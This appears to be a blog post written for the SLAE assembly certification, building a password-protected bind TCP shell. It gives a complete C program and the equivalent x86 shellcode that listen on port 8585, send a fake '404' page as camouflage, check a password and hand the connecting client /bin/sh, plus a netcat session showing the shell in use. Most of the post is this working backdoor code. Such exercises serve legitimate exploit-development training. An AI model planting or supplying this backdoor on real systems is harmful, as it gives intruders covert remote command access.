craftwa.re

A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[SLAE ?] Bind TCP Shellcode with Password

|

Logo

As with the bind TCP shellcode, I’ve first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
 
/* receiving password buffer size */
#define     BUFSIZE      10
 
/* Listening port */
#define     PORT         8585
 
/* Password prompt */
char prompt[] =  \
    "<html>\n"
    "<body>\n"
    " <h1>Error 404 - Try elsewhere</h1>\n"
    "\n"
    "</body>\n"
    "</html>\n";
 
char password[] = "s3cr37";
 
int main() {
    int listenfd = 0, connfd = 0;    
    int ret = 0;
    char buffer[BUFSIZE];
 
    struct sockaddr_in serv_addr;
 
    // Create an un-named socket. returns socket descriptor
    listenfd = socket(AF_INET, SOCK_STREAM, 0);
 
    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);
 
    bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
 
    // Listen on the created socket for maximum 1 client connection
    listen(listenfd, 1);
 
    // Sleep waiting for client requests
    connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
    printf("Created accept socket: %d\n", connfd);
 
    // Send fake prompt and wait for the password
    ret = send(connfd, prompt, strlen(prompt), 0); 
    if (-1 == ret) {
        printf("Send failed: %s\n", strerror(errno));
        return 1;
    }
 
    // Read password
    ret = recv(connfd, buffer, BUFSIZE, 0);
    if (-1 == ret) {
        printf("Recv failed: %s\n", strerror(errno));
        return 1;
    } else {
        printf("Received: %s", buffer);
    }
 
    // Compare
    if (!strncmp(buffer, password, strlen(password))){
        printf("Correct password. Opening shell...\n");    
    } else {
        close(listenfd);
        close(connfd);
        return 1;
    }
 
    // Duplicate stdin, stdout, stderr
    ret = dup2(connfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }
 
    ret = dup2(connfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }
 
    ret = dup2(connfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }
 
    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args
 
    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }
 
    return 0;
}

If we supply the correct password we get the shell:

$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp_passw  &
[1] 4528
Created accept socket: 5
Received: s3cr37
Ź� Correct password. Opening shell...

And on the connecting side:

$ nc -nvv 192.168.56.1 8585
(UNKNOWN) [192.168.56.1] 8585 (?) open
 
 
<h1>
Error 404 - Try elsewhere</h1>
 
 
s3cr37
whoami
liv

The next step is to reproduce these system calls in assembly language and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:

global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; listenfd is returned in eax. Save into edx    

    ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
    ;       sin_addr=inet_addr("0.0.0.0")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    xor ecx, ecx    ; Construct sockaddr structure on the stack
    push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
    push word 0x8921; 16 bits - port number (8585 decimal)
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; listenfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 2       ; socketcall type of call: SYS_BIND (2)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. listen(listenfd, 1)
    push 1          ; max connections
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 4
    pop ebx         ; SYS_LISTEN (4)
    push 102
    pop eax         ; socketcall syscall
    int 0x80
 
    ; 4. accept(listenfd, 0, NULL) = connfd
    xor ecx, ecx
    push ecx        ; NULL
    push ecx        ; 0
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 5
    pop ebx         ; SYS_ACCEPT = 5
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax
    mov edx, eax    ; save new connection descriptor

    ; 5. recv(connfd, buffer, BUFSIZE, 0)
    ; recv(int sockfd, void *buf, size_t len, int flags);
    xor ecx, ecx    
    push   ecx      ; flags (0)
    push   0xa      ; buffer size
    lea    ecx, [esp + 8]
    push   ecx      ; addres of buffer
    mov edi, ecx    ; save address of buffer for further comparison
    push   edx      ; sockfd
    mov    ecx, esp ; ECX - params of socket call    
    push 10
    pop ebx         ; EBX - type of socketcall - SYS_RECV (10)
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax


    ; 6. compare password
 mov ecx, 6      ; passwd len
    ; pass: s3cr37 - 73 33 63 72 33 37 
    push 0xAAAA3733
    push 0x72633373
 mov esi, esp
    ; address of buffer is already saved in edi
 repe cmpsb
 jz correct_pass
    
    ; exit()
    xor eax, eax
 mov al, 1
 xor ebx, ebx
    mov bl, 7
 int 0x80

correct_pass:
    ; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80

##

The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification